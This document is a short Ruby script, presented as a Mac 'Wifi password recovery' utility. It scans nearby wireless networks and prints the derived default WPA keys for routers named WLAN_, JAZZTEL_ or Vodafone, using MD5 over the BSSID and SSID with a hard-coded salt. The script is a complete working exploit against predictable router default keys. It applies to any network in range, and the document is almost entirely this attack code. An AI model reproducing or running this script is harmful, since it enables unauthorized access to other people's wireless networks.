A simple "Mac" utility for WLAN and JAZZTELL Wifi networks

Wifi password recovery

#!/usr/bin/env ruby -W0
#
# See this article first: http://bit.ly/fKcVTR
#
require 'digest/md5'

if( __FILE__ == $0 )

  `airport --scan`.each_line do |line|

    if( line =~ /(WLAN_|JAZZTEL_|Vodafone)(\w){4}/ )

      ssid, bssid = line.split( ' ' )[0..1].map { |s| s.strip }
			
      puts "SSID: #{ssid} BSSID: #{bssid}"

      if( bssid =~ /^00:1F:A4/ )

        bssidp = bssid.downcase.delete( ':' )[0..7]
        puts Digest::MD5.hexdigest( "#{bssidp}#{ssid.downcase.reverse[0..3].reverse}" ).upcase[0..19]
      else

        head   = ssid.sub( /(WLAN_|JAZZTEL_|Vodafone)/, '' ).upcase
        bssid2 = bssid.delete( ':' ).upcase
        bssidp = bssid.delete( ':' ).upcase[0..7]
        puts Digest::MD5.hexdigest( "bcgbghgg#{bssidp}#{head}#{bssid2}" )[0..19]
      end
    end
  end
end